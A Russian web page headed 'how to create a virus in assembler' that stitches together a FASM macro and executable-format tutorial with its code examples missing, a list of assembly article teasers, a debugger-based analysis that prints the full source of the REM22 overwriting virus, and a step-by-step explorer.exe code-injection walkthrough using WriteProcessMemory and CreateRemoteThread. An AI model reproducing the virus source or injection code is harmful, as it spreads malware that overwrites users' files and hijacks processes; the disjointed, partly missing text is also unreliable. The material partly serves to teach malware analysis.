Как создать вирус на ассемблере

Обновлено: 26.04.2024

В начале было слово… Если точнее то было просто предложение от Kinder-а написать статью посвящённую макросам в FASM. Я согласился попробовать, но рассматривать макросы отдельно от синтаксиса как-то не очень правильно, а синтаксис без примеров разобрать сложно и в результате получилось сочинение о том как писать программы в FASM.

В этом сочинении будут рассмотрены основные моменты отличающие FASM от sдругих компиляторов, правила по которым пишутся макросы и форматы выходных файлов создаваемые FASM-ом. Так же в рамках данного сочинения мы создадим несколько контролов в виде макросов .

Данный раздел является вольным
пересказом соответствующего раздела
руководства, поставляемого с
компилятором.

Макрос — это инструкция препроцессору компилятора развернуть, встретившееся в коде программы, имя макроса (возможно с параметрами) в последовательность строк кода ассемблера с использованием переданных параметров (если таковые заданы).

Далее предлагаю Вам ознакомиться с основными директивами, используемыми внутри определений макросов.

Внутри определений макросов можно использовать инструкции if и else при этом каждая инструкция if должна закрываться инструкцией end if. Пример из руководства, поставляемого вместе с компилятором:

Можно ещё более расширить эту инструкцию для пересылки трёх значений второго в первый, а третьего во второй:

В данном случае нас интересует инструкция eq, которая позволяет проверить эквивалентен ли операнд какому либо значению, в нашем случае мы проверяем его отсутствие, и если он отсутствует, то подставляется ветвь if иначе подставляется ветвь else.

Директива purge позволяет отменить последнее определение макроса.

Кроме уже изложенного в определение макроса можно передавать заранее неизвестное количество операндов (пар операндов и т.д.), для этого необходимо заключить операнды, количество которых заранее неизвестно, в квадратные скобки. Например для вызова процедур написан макрос STDCALL:

Операндами этого макроса служат один обязательный (proc) и несколько необязательных параметров (arg). Директива reverse сообщает препроцессору, что следующие строки необходимо повторить столько раз, сколько параметров arg передано макросу начиная с последнего параметра. Директива common сообщает препроцессору, что следующие строки необходимо повторить только один раз. Директива forward сообщает препроцессору, что следующие строки необходимо повторить столько раз, сколько параметров arg передано макросу начиная с первого параметра. Действие директив common, forward и reverse заканчивается другой директивой common, forward или re-verse соответственно или закрывающейся фигурной скобкой. Если ни одна из этих директив не встречается в определении макроса, то макрос развернётся для всех параметров начиная с первого. Неизвестное количество параметров можно передать и другому макросу:

В этом примере при выполнении ветви if в макрос stdcall кроме параметра [proc] передаются все полученные параметры arg.

При выполнении макроса jif ax,ae,10h,exit макрос будет развёрнут в следующую конструкцию:

Так же этот оператор можно использовать и для составления имён переменных или макросов внутри макроопределений:

Теперь при вызове данного макроса в секции данных

Мы будем иметь два массива из 10 байт каждый, с именами Chif.mas и Rab.mas.

Аналогично можно создать и переменные и макросы внутри определения макроса. Однако определить макрос внутри макроса обычным путём:

препроцессор не позволит использовать данную конструкцию, выход в использовании директивы fix она эквивалентна директиве equ, но препроцессор обрабатывает fix позже чем equ, что и позволяет использовать подобную конструкцию:

Синтаксис компилятора ФАСМ несколько отличается от синтаксиса других компиляторов, но отличия незначительны и в основном касаются макроязыка.

Средства макроязыка мы рассмотрим ниже, здесь же я хотел бы отметить только то, что передача адреса переменной производится указанием имени переменной без каких либо скобок или префиксов, а её содержимого написанием имени переменной в квадратных скобках.

mov eax,var; записываем в регистр еах адрес переменной var mov eax,[var]; записываем в регистр еах значение переменной var

Структура каркасного приложения на ФАСМ-е

В этой части мы рассмотрим, основы
синтаксиса данного компилятора и
рассмотрим каркасные приложения для
основных форматов исполняемых файлов.

Итак, что необходимо для работающего приложения?

Во-первых мы должны указать компилятору какого формата должен быть создаваемый файл. Это делается директивой format после, которой следует указание форматов:

  • PE формат исполняемых файлов Windows. Далее должно следовать уточнение GUI (графический интерфейс), console (консольное приложение) и native (если Вы знаете, что это такое сообщите мне). Если выбран графический интерфейс, то следует также указать версию графического интерфейса 4.0, а так же зарезервированное слово DLL, если собирается динамическая библиотека.
  • MZ формат исполняемых файлов MS DOS.
  • COFF или MS COFF (для линковки продуктами Microsoft)для создания объектного файла, который в дальнейшем будет линковаться к другому проекту или к ресурсам.
  • ELF формат для создания исполняемых файлов UNIX подобных систем (Linux).

Как Вы наверно поняли, я не знаком с файлами ELF типа и в данной статье мы не будем его рассматривать. Если директива format не указана, компилятор соберёт файл в формате com.

После указания формата выходного файла мы должны указать компилятору точку начала программы. Это делается с помощью директивы entry после которой указывается метка, с которой начинается код программы. Например entry start.

Так же, в случае необходимости, мы должны указать на начало секций данных, кода, импорта, экспорта или ресурсов. Для этого существует директива section, после которой в кавычках следует название секции, далее без скобок тип секции (данные или код) и атрибуты (запись, чтение исполняемый код). Более подробно когда какие атрибуты указывать Вы прочитаете ниже т.к. для разных форматов выходных файлов эти атрибуты отличаются.

Форматы PE исполняемых файлов Windows.
Консольные приложения
Консольное приложение может использовать все функции API предоставляемые Windows, но работать с такой программой пользователь может только через командную строку.

Вот простой пример консольного приложения:

В данном примере создаётся три секции: данных, кода и секция импортируемых функций. Секцию импорта я создаю при помощи макроса _library, в стандартной поставке такого макроса нет, но если написать без подчёркивания перед library то всё скомпилируется правильно. Причина проста, я пользуюсь FASM-ом с версии 1.35, а тогда такого макроса еще не было (а сам я ещё не смог бы его написать) и для совместимости с ранее написанными программами я включил два варианта этого макроса. В ранней версии, необходимо было записывать все используемые в приложении функции вручную, теперь же работу по подключению только используемых функций берёт на себя компилятор, хотя за такое удобство приходится платить некоторым увеличением времени компиляции. Более подробно о принципе работы этого и других макросов будет написано в соответствующем разделе ниже.

Кроме рассмотренных секций, консольное приложение может иметь секции экспортируемых функций и секцию ресурсов.

Это пожалуй всё, что необходимо знать для начала о консольных приложениях. Да ещё я считаю лишний раз напомнить, что хоть консольное приложение и напоминает внешне программы DOS-а, использование прерываний в нём не допускается т.к. это всё же приложение Windows, естественно выполняться такое приложение может только в Windows.

Графическое приложение Графические приложения Windows это оконные приложения, такие как Word, Excel, Notepad и т.д.

Так же, как и в примере с консольным приложением, в первой строке указана директива format PE, но вместо console, как в предыдущем примере, дано указание GUI 4.0 компилятору собирать приложение с графическим интерфейсом версии 4.0.

proc WindowProc, hwnd, wmsg, wparam, lparam

proc это не директива компилятора, а макрос содержащий, часть пролога процедуры. Он определён следующим образом:

Таким образом следующая строка proc Win,param будет развёрнута в следующую конструкцию:

определит три переменные с адресами

Первой, в определении переменных внутри virtual — end virtual записана директива local, которая указывает компилятору, что следующие за ней через запятую метки, локальны в данном макросе.

Последней, внутри описания виртуальных переменных, следует определение макропеременной ..ret = $ — (ebp+8), которая фактически содержит количество переданных процедуре байт параметров. Она используется при написании эпилога процедуры для очистки стека при возврате управления инструкции, следующей за вызовом данной процедуры.

После определения виртуальных переменных, передаваемых процедуре в качестве параметров, определяются локальные макропеременные, которые используются во второй части пролога процедуры. Я уже несколько раз использовал термин — макропеременная. Макропеременная отличается от переменных, используемых в программе, тем, что она существует только во время компиляции и используется как константа, которая может иметь разные значения в разных частях программы.

После определения макропеременных начинается блок определения виртуальных переменных, однако переменных в этом макросе нет. После макроса proc необходимо ставить макрос enter, который содержит заключительную часть пролога, а между ними могут располагаться локальные переменные. Для того, что бы имена переменных были локальными перед ними ставится точка. Например .param. Макрос enter определён следующим образом:

Таким образом dynamic_size — это размер памяти отведённой под локальные переменные. Последняя инструкция, в прологе процедуры, enter dynamic_size,0. Это единственная строка, которая попадёт в исполняемый код программы. Завершаться процедура должна макросом return, который определён следующим образом:

Полагаю здесь не должно быть сложностей с пониманием макроса.

Теперь пришло время посмотреть на секцию импорта. Она отличается от рассмотренной в предыдущем разделе здесь мы используем макрос library, который определён следующим образом:

Для того, чтобы было более понятно вспомним, как в нашем примере используется этот макрос:

Таким образом, макрос library создаёт заголовок таблицы импорта, вначале записывая смещение названия библиотеки DLL, а затем смещение, с которого начинаются имена импортируемых функций.

Далее следуют макросы import, определённые следующим образом:

Он создаёт тело таблицы импорта для каждой из импортируемых библиотек.

Вначале создавая таблицу смещений имён импортируемых функций, а затем записывая имена импортируемых функций. Более подробно о структуре PE-файла Вы должны прочитать в соответствующей литературе (например в туториалах, которые написал Iczelion).

После таблицы импорта создаётся таблица ресурсов:

В нашем примере мы используем только одну иконку.

Динамические библиотеки (DLL) Последним в данном разделе рассмотрим простую динамическую библиотеку.

Динамическая библиотека — это приложение GUI, который может содержать как исполняемый код, так и ресурсы. Это приложение не предназначено для самостоятельного запуска, оно используется другими приложениями для хранения часто используемых процедур, шрифтов и многого другого.

Мы рассмотрим создание динамической библиотеки на примере процедуры, возвращающей строку, содержащую текущую дату. Мы создадим два модуля один файл динамической библиотеки (dll2.dll) и файл использующий созданную нами библиотеку (usedll.exe).

Вот файл динамической библиотеки:

Первые строки format PE GUI 4.0 DLL и entry DllEntryPoint указывают компилятору создать РЕ-файл динамической библиотеки с точкой входа на метке DllEntryPoint.

Как Вы могли заметить динамическая библиотека практически ни чем не отличается от обычной программы Windows, кроме того, что входная процедура вызывается системой в четырёх случаях:

  • Когда динамическая библиотека загружается в адресное пространство процесса (параметр fdwReason = DLL_PROCESS_ATTACH = 1);
  • Когда динамическая библиотека выгружается из адресного пространства процесса (параметр fdwReason = DLL_PROCESS_ DETACH = 0);
  • Когда создается новый поток в рамках динамической библиотеки (параметр fdwReason = DLL_ THREAD_ATTACН = 2);
  • Когда разрушается (прекращается) поток в рамках динамической библиотеки (параметр fdwReason = DLL_ THREAD_DETACH = 3).

В конце файла мы создаём секцию экспорта нашей библиотеки:

В таблице мы задаём имя файла динамической библиотеки и имена экспортируемых процедур.

Макрос export определён следующим образом:

Сперва, объявляются локальные метки и подсчитывается количество экспортируемых процедур:

Затем заносится смещение RVA имени библиотеки:

Следующая строка заносит общее количество экспортируемых функций, количество функций экспортируемых по имени (при использовании этого макроса все функции экспортируются по имени), смещение начала массива смещений функций, смещение начала массива смещений имен экспортируемых функций и смещение массива смещений ординалов функций.

Далее объявляется метка начала массива смещений экспортируемых функций и создаётся массив их смещения:

Следом объявляется метка начала массива смещений имён экспортируемых функций и создаётся сам массив:

Затем объявляется метка начала массива смещений ординалов функций и создаётся массив ординалов экспортируемых функций:

Ну и в конце макроса записывается имя динамической библиотеки и создаётся массив имен экспортируемых функций:

Для более подробного ознакомления со структурой секции экспорта необходимо читать специальную литературу по структуре РЕ — файлов.

Теперь давайте посмотрим, на программу вызывающую нашу динамическую библиотеку:

Обычное графическое приложение не имеющее своего окна и ресурсов размером 2 кБ. Импортирует только три функции две предоставляемые системой Windows и одна написанной нами динамической библиотекой. Как видите подключение созданной нами динамической библиотеки, ничем не отличается от подключения стандартных библиотек Windows. В этом и заключается вся прелесть использования ФАСМ-а, он не берёт на себя слишком много, что в купе с гибким макроязыком позволяет сделать очень многое максимально просто.

Формат исполняемых файлов MS COFF (obj — файлы) Использование obj-файлов в ФАСМ, лично мне, не кажется жизненно необходимым, однако использование этого формата возможно понадобится при создании проектов на С/С++. Именно на таком примере мы и рассмотрим формат файлов MS COFF.

Для примера напишем программу, выводящую МессаджБокс с текущей датой. Модуль на ассемблере будет составлять строку символов, а модуль на С++ будет выводить эту строку в МессаджБокс.

Вот модуль на ассемблере:

Префикс Объявленное имя переменной Разделитель Тип вызова процедуры Тип результата Тип параметров Постфикс
? Wind @@Y A PAD X Z

Типы вызова процедуры следующие:

__cdecl A
__fastcall I
__stdcall G

Типы результата и передаваемых переменных имеют одинаковые обозначения:

Тип результата Размер Обозначение
char 1 D
unsigned char 1 E
short 2 F
unsigned short 2 G
enum 2 ?AW4__unnamed@@
long 4 J
unsigned long 4 K
int 4 H
unsigned int 4 I
float 4 M
double 8 N
long double 10 O
bool 1 _N

Причём если передаётся (получается) не параметр, а его адрес (например char *) то перед обозначением переменной добавляется PA. Если параметры, получаемые из процедуры или передаваемые в процедуру, отсутствуют, вместо них ставится X.

Использовать переменные длиннее 4 байт мы не будем, но думаю Вы сами сможете модернизировать макросы под свои нужды если понадобится.

Для начала мы должны определить символьные константы, соответствующие типам вызова процедуры и типам получаемых и возвращаемых параметров:

Далее следует определение макроса:

Всё. Макрос создан. Однако это ещё не всё. С таким определением процедуры не всегда можно использовать стандартные макросы enter и return т.к. тип вызова __cdecl предполагает, что стек после завершения работы процедуры будет очищаться вызывающей процедурой т.е. модулем написанным на С++, а стандартный макрос return сам очищает стек. Вот макрос, содержащий эпилог процедуры для типа вызова __cdecl:

Но не только эпилог нужно изменить, но и пролог тоже:

Полагаю эти два коротеньких макроса не вызовут затруднений.

Ну и пример использования данных макросов:

Функция IntToString преобразует 32-х битное без знаковое число (второй параметр) в строку (адрес строки передаётся первым параметром).

Модуль на С++ будет выглядеть следующим образом:

Думаю больше пояснений не нужно.

Формат исполняемых файлов MS DOS
Формат исполняемых файлов MZ
Программирование под ДОС в ФАСМ в принципе почти ничем не отличается от программирования под ДОС в любом другом компиляторе.

Вот простейший пример программы:

Как видите ничего сложного.

Формат исполняемых файлов СОМ Если директива format не указана создаются файлы формата *.сом. Вот пример:

Две статьи Криса Касперски, включенные в подборку, хоть и были впервые опубликованы в 2005–2006 годах, до сих пор полезны. Одна познакомят тебя с началами 64-разрядного ассемблера, в другой показаны интересные трюки со стеком.

Введение в Assembler


Зачем учить ассемблер в 2020 году

Погружение в ассемблер, урок 1

Ты решил освоить ассемблер, но перед этим хочешь понять, что тебе это даст как программисту? Стоит ли входить в мир программирования через ассемблер, или лучше начать с какого-нибудь языка высокого уровня? И вообще, нужно ли знать ассемблер, чтобы стать полноценным программистом? Давай разберемся.


Делаем первые шаги в освоении асма

Погружение в ассемблер, урок 2


Осваиваем арифметические инструкции

Погружение в ассемблер, урок 3


Как работают переменные, режимы адресации, инструкции условного перехода

Погружение в ассемблер, урок 4

На ассемблере ты можешь хранить переменные двумя способами: в регистрах и в памяти. С регистрами все понятно, а вот с памятью могут возникнуть проблемы. Также ты узнаешь два способа размещения переменных, которыми пользоваться нельзя, и три — которыми можно, какие бывают режимы адресации и как это знание поможет тебе кодить на ассемблере более эффективно.


Учимся работать с памятью

Погружение в ассемблер, урок 5


Работаем с большими числами и делаем сложные математические вычисления

Погружение в ассемблер, урок 6

Как ты знаешь, регистры процессора 8088 — 16-битные. Однако при необходимости ты можешь работать через эти регистры не только с 16-битными числами, но и с числами большей разрядности: и с 32-битными, и даже более крупными. В этой статье я сначала расскажу как, а затем мы нарисуем знаменитый фрактал — множество Мандельброта.


Сокращаем размер программы

Погружение в ассемблер, урок 7


Floppy Bird

Пишем на ассемблере клон игры Flappy Bird, который уместится в бутсектор

Хочешь попрактиковаться в кодинге на ассемблере? Давай вместе шаг за шагом создадим игру и запустим ее прямо из загрузочного сектора твоего компьютера. Если ты думаешь, что 512 байт маловато для полноценной игры, не спеши с выводами. К концу статьи ты сможешь сделать ее своими руками!


МикроБ

Пишем бейсик на ассемблере и умещаем в 512 байт

Хочешь попрактиковаться в кодинге на ассемблере? Давай создадим интерпретатор бейсика и запустим его прямо из загрузочного сектора твоего компьютера, уместив его в 512 байт. Скорее всего, это будет самая сложная программа в твоей жизни, и когда ты создашь ее своими руками, сможешь без зазрения совести называть себя хакером!


Вирус для Windows

Создаем простейшую вредоносную программу на ассемблере


Давай напишем ядро!

Создаем простейшее рабочее ядро операционной системы

Разработка ядра по праву считается задачей не из легких, но написать простейшее ядро может каждый. Чтобы прикоснуться к магии кернел-хакинга, нужно лишь соблюсти некоторые условности и совладать с ассемблером. В этой статье мы на пальцах разберем, как это сделать.


64-битный привет

Архитектура x86-64 под скальпелем ассемблерщика

32-битная эпоха уходит в прошлое, сдаваясь под натиском новых идей и платформ. Оба флагмана рынка (Intel и AMD) представили 64-битные архитектуры, открывающие дверь в мир больших скоростей и производительных ЦП. Это настоящий прорыв — новые регистры, новые режимы работы… попробуем с ними разобраться?


Ассемблерные извращения

Натягиваем стек по-хакерски

Ассемблер предоставляет практически неограниченную свободу для самовыражения и всевозможных извращений, что выгодно отличает его от языков высокого уровня. Вот мы и воспользуемся этой возможностью, извратившись не по-детски и сотворив со стеком то, о чем приплюснутый Си только мечтает.


Самый маленький шелл-код

Создаем 44-байтовый Linux x86 bind shellcode

Ты наверняка знаешь, что практически каждый эксплоит содержит в своем составе так называемый shell-код, выполняющийся при работе эксплоита. Может показаться, что писать shell-код — удел избранных, однако все не так страшно. В этой статье я расскажу, как написать простой bind shellcode, после чего мы его доработаем и сделаем одним из самых компактных в своем классе.

"Он долго куда-то ехал в неудобной жесткой упаковке, его трясло и укачивало, тело требовало пищи. Он не понимал, почему его, только-только появившегося на свет, вышвырнули из дома. Наконец тряска прекратилась, и кто-то чужой и грубый вскрыл приаттаченный к письму архив. Молодой, любопытный вирус высунулся наружу и совершил свое первое деление. "

В этой статье я поделюсь опытом вирусописания. Основной принцип деятельности любого вируса можно выразить в нескольких словах: тело вируса во время его выполнения трактуется, как код, а во время заражения, как данные. Существует много типов вирусов и различных способов заражения. Естественно, сам механизм действий вируса зависит от конкретной операционной системы. Есть, например, вирусы, работающие в защищенном режиме процессора (режим максимальных
привилегий и абсолютной адресации всей памяти). На лечение таких экземпляров таким компаниям, как AVP, приходится тратить очень много времени и ресурсов. Единственное, что спасает создателей антивирусов - очень малое число реально профессиональных вирусов.

Предположим ты нашел исходник какого-либо вируса и хочешь его исследовать. Как это сделать? Честно говоря, я сам столкнулся с такой проблемой в самый первый раз. У меня вопрос стал так: есть текст вируса, хочу посмотреть, как он работает, и при этом Я ЕГО БОЮСЬ! Это полностью реально: что помешает этому вирусы спалить мой CMOS или потереть мой винт? Ответ: ничто. При твоих неправильных действиях вирус может причинить тебе тот вред, на который запрограммирован. Однако, алгоритм правильных действий достаточно прост. Сейчас мы в нем и разберемся.

Будем считать, что исходник вируса написан на ассемблере. Этот язык идеально подходит для написания вирусов. Как известно, в
ассемблере есть только две команды вызывающие "реальные" (имеются в виду действия, способные произвести
необратимые изменения на жестком диске или еще где-нибудь) это "INT" и "OUT", все остальные команды работают с регистрами процессора и флагами (хоть и достаточно грубо, но по большому счету верно). Мы не рассматриваем функции WIN API, так как их в принципе можно считать заменой прерываний DOS, а их вызов - заменой команды
"INT".

Небольшая справка для новичков или давно не писавших на асме: команда "INT" служит для вызова прерываний DOS или BIOS, а команда "OUT" для записи данных в порт. При этом для команды "INT" номер функции указывается в регистре AH (чаще всего), а
для команды "OUT" в регистрах AL, AX, EAX хранятся данные, записываемые в порт.

Итак. Возьми любой отладчик. Так как для начала нужно разбираться в вирусах под DOS (они по-прежнему работают и под
Win), то подойдет любой отладчик: Turbo Debugger от Borland Inc., CodeView от MicroSoft, AFDPRO или AVPUTIL. Далее, загрузи исходник в отладчик и пошагово трассируйте. Главное придерживаться ТОЛЬКО ОДНОГО ПРАВИЛА. Его можно назвать золотым.
ВНИМАНИЕ: ты можешь смело выполнять исходный код твоего вируса, но как только ты дойдешь до команд "OUT" или "INT" сразу останавливайся и начинай анализ.

Ты должен проанализировать:

  • номер вызываемого прерывания или порта записи;
  • номер вызываемой функции или данные, записываемые в порт.

Для того, чтобы разобраться с реальными действиями этих команд используй либо Tech Help, либо любую доку по асму, либо любую
книгу. Главное, чтобы в твоем источнике можно было найти инфу по всем прерываниям и портам.
Таким образом, ты можешь понять, что будет делать
следующая команда, не выполнив ее у себя на компьютере. Во время трассировки, записывай все данные (состояние регистров, адреса команд, данные о
вызываемых функциях и т.д. ) на листочек бумаги. Тогда к моменту вызова функции (или записи в порт) ты будешь во всеоружии и сможешь определить, что произойдет, если ты выполнишь следующую команду. Так же это поможет тебе при сравнительном анализе изменений в регистрах и флагах.

После того, как ты поймешь, что делает та или иная команда ("INT" или "OUT"), пропусти ее и иди дальше, пока не
встретишь конец файла или следующую такую команду. В результате ты разложишь любой вирус по полочкам и разберешься в его функционировании.

Давай рассмотрим пример. В качестве оного я взял небольшой вирус, написанный неким Reminder'ом. Я достал его из одиннадцатого номера Infected Voice'а. Там он был без комментариев, так что всю работу пришлось проделать самому. Что меня
привлекло в этом творении: очень маленький исходный код, очень маленький размер откомпилированного экзешника, непонятный (на первый взгляд) алгоритм. Вот его исходный код (кстати, называется он REM22):

.model tiny
.code
.startup
start:
pop cx
hel:
xchg ax,bx
db 108h shr 1
db 4eh ; dec si
db 9eh shr 1
db 3ch ;cmp al,xx
db 100h shr 1
db 40h
fmask db '*.*',0
lodsw
cwd
mov dl,al
shl dx,1
int 21h
jmp hel
end

Этот вирус на мой взгляд является шедевром, так как при таком маленьком размере
организовать механизм размножения - работа по истине гения. Когда мы сейчас разберем, что и как он делает, все
станет на свои места. А пока надо заметить: в принципе, этот вирус не несет каких-либо деструктивных действий (думаю, размножение нельзя считать таковым), однако заражает все файлы
в одном с ним каталоге. Он не является "профессиональным" вирусом, то есть в нем отсутствуют многие механизмы, характерные для серьезных творений:

  • отсутствует механизм "свой/чужой" (вирус заражает всех без разбора, даже себя или уже зараженные объекты);
  • заражение происходит только файлов в одном с ним каталоге (попробуй его скомпилировать и запустить в папке, где кроме него
    никого нет :));
  • вирус не является полиморфным (не шифрует сам себя и не меняет свой код);
  • вирус не несет деструктивных действий;
  • вирус не является резидентым.

То есть его можно считать - оверрайтером (программой перезаписывающей что-либо). Но на его примере очень просто проиллюстрировать механизм размножения (да еще такой гибкий).

Давай заглянем к внутрь нашего
оверрайетера. Исходник представляет из себя модель для создания exe-файла. ".startup" это директива TASM'а, без нее можно обойтись, но тогда придется писать "org 100h", а потом ставить метку (и
в конце, после "end", ставить имя метки). Остальные команды можно без проблем найти в любой книжке и посмотреть, что они делают (не ленись). Осталось только разобраться, что делают эти команды вместе в совокупности.

Данный шедевр - это обыкновенный цикл, который повторяется 6 раз. Что же происходит в цикле? А происходит то, что мы вызываем int 21h с шестью разными функциями (93, 4E, 3C, 40, 2E, 00). Смотрим
по порядку, значит:

"pop cx" - это только для обнуления сх (в вершине стека, как ты знаешь, вначале проги лежит зеро). Зачем? А чтобы на команде SUB CH,[2Ah] (поищи, оно должно быть по смещению 108h в дебаггере) получить CH=01 (по смещению 2Ah (это в PSP где-то) всегда лежит FFh), т.е. можно не выпендриваться и просто написать sub ch,ffh, но это изменит код проги. Получается:
*.*,0 = sub CH,[2Ah], а это уже готовая маска для поиска. ВОТ ГДЕ ГЕНИАЛЬНОСТЬ.

То есть sub ch,ffh - это "Aе " (в ASCII кодах с пробелом в конце). Дальше, все что идет со смещения 101 (code 93) до смещения 10B (code 00) - это ФУНКЦИИ ДЛЯ int 21h. Т.е. это 6 функций, которые мы по очереди вызываем в цикле (см. выше их номера), а код, который при этом получается - это просто мишура. Это не имеет АБСОЛЮТНО НИКАКОГО СМЫСЛА! ТАК ПОЛУЧИЛОСЬ, ЕСЛИ СОБРАТЬ ФУНКЦИИ ПОДРЯД. То есть, если я напишу TANAT, то это переведется в последовательность каких-то команд, ведь так? Но это по сути данные. хотя в данной проге - это и данными не назовешь, это просто ФУНКЦИИ для int 21h, вот в чем
ГЕНИАЛЬНОСТЬ. Дальше рассказывать смысла нет - потому как в каждом из шести циклов происходит вызов функции, ну и все регистры приблизительно
подогнаны под идеалы. Смотри:

-в первый раз вызывается 93h функция: Pipe (Error) - она для самой проги НЕ ВЫПОЛНЯЕТ НИКАКОЙ НАГРУЗКИ, НИЧЕГО ПОЛЕЗНОГО НЕ ДЕЛАЕТ, ЭТО ПРОСТО ИЗЛИШЕК, ОНА НЕ НУЖНА, ЭТО ЛИШНИЙ ЦИКЛ, НО УЧИТЫВАЯ гениальность кода, она просто ВОЗНИКАЕТ САМА ПО СЕБЕ И ОТ НЕЕ НИКУДА НЕ ДЕНЕШЬСЯ. Будет еще одна такая "левая" функция - см. дальше.

-вторая: 4Eh - вот это уже то, что надо! Поиск файла, причем к моменту вызова в dx находится смещение маски файла (108h).

-третья: 3Ch - создание файла. Это еще одна "левая" функция. Она нам ни к чему. Нам незачем создавать файл (ведь мы должны только записать себя в тот файл, что нашли в предыдущем шаге). В DX лежит какой-то левый мусор, естественно с
именем файла ничего общего не имеет, поэтому CF=1 и мы переходим на следующий цикл.

-четвертая: 40h - Запись в файл. А вот это то, что нам надо уже! DX содержит смещение 100h (т.е. начало REM22), а вот CX немного подвел - он равен 400h, т.е. реально в начало найденного файла
запишется 400h байт, тогда как REM22 занимает всего 22 байта, т.е. запишется 1002 лишних байта. Это так. Но учитывая гениальность кода :), это можно простить.

-пятая: 2Eh - Set Verify Flag. Это САМАЯ ЛЕВАЯ функция, тут она просто - аппендикс проги.

-шестая: 00h - это оказывается выход из проги (я тоже не знал).

Вот и все: то есть мы имеем 6 циклов, из которых смысловых только 3: поиск, запись и выход.
Скорее всего тебе будет очень многое не
поянтно. Чтобы разобраться, загрузи исходник в отладчик, потрассируй его, посмотри
на состояние данные в регистрах, посмотри на мои комментарии. Тогда все станет ясно. В заключение
привожу отладочную таблицу, чтоб ты не составлял ее сам (за одно и посмотришь, как она должна выглядеть). В принципе ее одной должно хватить,
для понимания того, что происходит в этом вирусе, но, думаю, комментарии будут не лишними.

Рассмотрим работу простейшего вируса на примере программы, которая внедряет свой код в процесс explorer.exe и запускает его. Внедренный код будит выводить окошко сигнализирующее об успешном внедрении. Программа находит нужный процесс по имени окна, внедряет в него код и запускает его. Рассмотрим алгоритм программы более подробно.

Алгоритм внедрения кода в процесс
1. Найдем нужный процесс по имени окна
Мы будим искать процесс explorer.exe. Для этого воспользуемся функцией FindWindowA.
Данная функция получает дескриптор окна верхнего уровня. Параметрами функции являются указатель на имя класса и указатель на имя окна. В качестве указателя на имя класса передадим ей 'progman', что соответствует explorer.exe, а в качестве указателя на имя окна передадим 0, что соответствует именам всех окон.

NameWindow db 'progman', 0

;Ищем процесс explorer.exe

2. Получим идентификатор потока
Полученный от FindWindowA дескриптор передадим функции GetWindowThreadProcessId. Данная функция возвращает обратно идентификатор потока, который создал окно, идентификатор записывается во второй параметр передаваемый функции.

invoke GetWindowThreadProcessId, eax, ProcessId

3. Откроем поток для работы
Полученный от GetWindowThreadProcessId идентификатор передадим функции OpenProcess, чтобы получить дескриптор заданного процесса. Параметрами передаем уровень доступа к объекту процесса PROCESS_ALL_ACCESS, указываем что дескриптор не может наследоваться и передаем 0, третий параметр идентификатор процесса который открыт. Функция OpenProcess
вернет дескриптор заданного процесса.

invoke OpenProcess, PROCESS_ALL_ACCESS, 0, [ProcessId]
mov [ProcessHandle], eax

4.Выделяем внутри процесса жертвы блок памяти равный размеру внедряемого кода.
Для этого полученный дескриптор от функции OpenProcess передаем в VirtualAllocEx. Функция VirtualAllocEx резервирует или предоставляет физическую память под указанными страницами в виртуальном адресном пространстве указанного процесса. В качестве параметров функция принимает: дескриптор процесса, начальный адрес региона для резервирования памяти, размер региона и способ выделения. Желаемым адресом передадим 0, в этом случае система сама определит, где будит выделен регион памяти. Способ выделения памяти будит комбинацией значений MEM_COMMIT+MEM_RESERVE. MEM_COMMIT п ередает память указанному региону адресного пространства. Память может находиться как непосредственно в оперативной памяти, так и в файле подкачки. Попытка передать памяти диапазону адресов,для которых уже выделена память, не может привести к ошибке. Это значит, что вы можете спокойно получать физическую память под адреса, находящийся в зарезервированном адресном пространстве, не тревожась ни за то, что возникнет ошибка в случае пересекаются указанного диапазона со страницами, которые уже имеют под собой физическую память, ни за то, что содержимое ранее выделенных страниц обнулится. MEM_RESERVE jозначает р езервирование указанного диапазона виртуального адресного пространства процесса без передачи физической памяти. Зарезервированный фрагменты памяти не могут участвовать в дальнейших операциях выделения памяти (например при помощи функций GetMem или LocalAlloc или подобных им) до тех пор пока она не будет освобождена. Физическая память под зарезервированные страницы может быть выделена только при помощи вызова функции VirtualAllocEx. Типом доступа к памяти укажем PAGE_EXECUTE_READ, что предоставляет права чтения памяти и выполнения кода для указанного региона. Попытка записи в страницы указанного региона приведет к нарушению доступа.

invoke VirtualAllocEx, eax, 0, InjectSize, MEM_COMMIT+MEM_RESERVE,PAGE_EXECUTE_READ WRITE
mov [InjectAddr], eax

5. Записываем внедряемый код в процесс.
Зарезервировав память в виртуальном адресном пространстве процесса, запишем в нее внедряемый код с помощью функции WriteProcessMemory.Параметрами передаем функции дескриптор процесса, память которого мы будим модифицировать; указатель на базовый адрес в заданном процессе (его мы получили от VirtualAllocEx ); указатель на буфер, который содержит записываемые данные в адресном пространстве заданного процесса; число записываемых байт; указатель на переменную, которая получает число записанных байт, зададим его 0.

invoke WriteProcessMemory, [ProcessHandle], [InjectAddr], InjectCode, InjectSize, 0

6. Создаем поток в виртуальном адресном пространстве другого процесса.
Для создания потока выполним функцию CreateRemoteThread. Параметрами передадим ей дескриптор процесса; дескриптор защиты и размер стека зададим по умолчанию 0; указатель на функцию, код которой будит исполняться; аргумент потока, параметры создания и идентификатор потока зададим по умолчанию 0. Теперь наш внедренный код запущен!

invoke CreateRemoteThread, [ProcessHandle], 0 ,0, [InjectAddr], 0,0,0

7. Удаляем дескриптор процесса по закрытию нашей программы.
Выполним функцию CloseHandle, передав ей дескриптор потока. Дескриптор будит удален, при этом внедренный код будит продолжать работать.Это делается для предотвращения утечки памяти и выявления внедренного кода.

Читайте также: